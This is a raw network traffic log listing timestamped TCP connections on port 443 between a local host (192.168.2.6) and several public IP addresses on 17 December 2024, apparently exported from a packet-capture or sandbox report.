Dec 17, 2024 12:13:30.656553030 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.656740904 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.656765938 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.667339087 CET	443	49810	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:30.670675039 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.671124935 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.671144962 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.671325922 CET	443	49811	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:30.671325922 CET	443	49812	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:30.671339035 CET	443	49809	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:30.671353102 CET	443	49807	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:30.671365023 CET	443	49806	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:30.683675051 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.683787107 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.683803082 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.697283983 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.697398901 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.697422981 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.698087931 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.698122025 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.698169947 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.698189020 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.698220015 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.698277950 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.710731983 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.711118937 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.711134911 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.713521004 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.713551998 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.713623047 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.713639021 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.713669062 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.714109898 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.723651886 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.724920988 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.724936962 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.725259066 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.725281954 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.725344896 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.725375891 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.725408077 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.725438118 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.735378027 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.735445023 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.735462904 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.738399029 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.738436937 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.738486052 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.738501072 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.738529921 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.738590002 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.746941090 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.747016907 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.747033119 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.750411987 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.750433922 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.750503063 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.750519991 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.750549078 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.750729084 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.759181976 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.759375095 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.759399891 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.761217117 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.761236906 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.761307001 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.761332989 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.761389017 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.770509958 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.770592928 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.770622969 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.772891998 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.772910118 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.772989035 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.773009062 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.773065090 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.783054113 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.783071995 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.783140898 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.783158064 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.783214092 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.795324087 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.795407057 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.795423985 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.799689054 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.799717903 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.799977064 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.799993038 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.800055981 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.807888031 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.815843105 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.815881968 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.815994024 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.816015005 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.816196918 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.823709011 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.831089973 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.831233025 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.831387043 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.831407070 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.831494093 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.838682890 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.846257925 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.846298933 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.846365929 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.846384048 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.846530914 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.853754997 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.861247063 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.861304045 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.861399889 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.861418962 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.861504078 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.868793964 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.878882885 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.878983021 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.879086971 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.879102945 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.879160881 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.883809090 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.890763998 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.890805006 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.890887976 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.890922070 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.890955925 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.891105890 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.891295910 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.891364098 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.891377926 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.898680925 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.898709059 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.898785114 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.898801088 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.898839951 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.898861885 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.899030924 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.899074078 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.899367094 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.899382114 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.899858952 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.906337023 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.906364918 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.906419992 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.906441927 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.906477928 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.906481981 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.906500101 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.912919044 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.912951946 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.913023949 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.913042068 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.913081884 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.913125992 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.914067030 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.914108992 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.914165974 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.914180994 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.914247990 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.919940948 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.919975042 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.920171976 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.920190096 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.920311928 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.921797037 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.926789045 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.926810980 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.926898956 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.926918983 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.926970005 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.929195881 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.929240942 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.929311991 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.929331064 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.929397106 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.934031010 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.934052944 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.934160948 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.934170008 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.934215069 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.936651945 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.944597960 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.945209980 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.945228100 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.951294899 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.951306105 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.951322079 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.951347113 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.951399088 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.951426029 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.951469898 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.951469898 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.951494932 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.951524019 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.951546907 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.953355074 CET	443	49801	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:30.953557014 CET	49801	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:30.956021070 CET	49801	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:30.956033945 CET	443	49801	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:30.956355095 CET	443	49801	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:30.956370115 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.958394051 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.960731030 CET	49801	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:30.965351105 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.965385914 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.965411901 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.965432882 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.965491056 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.972218037 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.975941896 CET	49801	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:30.975965977 CET	443	49801	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:30.976272106 CET	49801	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:30.987818003 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.987854004 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.987879992 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.987893105 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.987930059 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.987968922 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.991214991 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.991283894 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.991300106 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.992084026 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.992150068 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.992165089 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.995472908 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.995532990 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.995548964 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:31.000397921 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:31.000474930 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:31.000494003 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:31.004765987 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:31.004843950 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:31.004859924 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:31.009517908 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:31.009577990 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:31.009593964 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:31.013987064 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:31.014075041 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:31.014091015 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:31.018444061 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:31.018520117 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:31.018536091 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:31.019368887 CET	443	49801	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:31.019399881 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:31.019455910 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:31.080919981 CET	443	49807	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:31.081069946 CET	443	49807	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:31.081082106 CET	49807	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:31.081083059 CET	443	49806	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:31.081171036 CET	49807	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:31.081193924 CET	49806	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:31.081204891 CET	443	49806	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:31.081248999 CET	49806	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:31.083607912 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.083631039 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.083726883 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.083750963 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.083825111 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.089903116 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.089920044 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.090014935 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.090034962 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.090096951 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.097290039 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.097311020 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.097424984 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.097444057 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.097507954 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.104713917 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.104741096 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.104829073 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.104845047 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.104909897 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.111774921 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.111799955 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.111867905 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.111876011 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.111920118 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.118443012 CET	443	49809	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:31.118479013 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.118503094 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.118572950 CET	443	49809	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:31.118628979 CET	49809	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:31.118653059 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.118659973 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.118700027 CET	49809	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:31.118721962 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.122414112 CET	443	49810	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:31.122518063 CET	49810	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:31.124588013 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.124605894 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.124692917 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.124701023 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.124748945 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.143198013 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:31.143213987 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:31.144043922 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.144077063 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.144129038 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.144171000 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.144176006 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.144217968 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.145400047 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.154090881 CET	443	49812	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:31.154174089 CET	49812	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:31.156511068 CET	443	49811	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:31.156670094 CET	49811	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:31.251749039 CET	443	49808	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:31.251935959 CET	49808	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:31.261360884 CET	49808	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:31.261370897 CET	443	49808	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:31.261678934 CET	443	49808	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:31.279505968 CET	49808	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:31.307506084 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.307529926 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.307589054 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.307600975 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.307645082 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.313707113 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.313723087 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.313802958 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.313813925 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.313852072 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.321028948 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.321049929 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.321115017 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.321122885 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.321167946 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.321990967 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.322072029 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.322130919 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.323755026 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:31.323766947 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:31.327331066 CET	443	49808	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:31.649447918 CET	443	49801	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:31.649574041 CET	443	49801	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:31.651060104 CET	49801	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:31.652364969 CET	49801	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:31.652374983 CET	443	49801	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:31.840539932 CET	443	49820	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:31.840842962 CET	49820	443	192.168.2.6	162.159.61.3
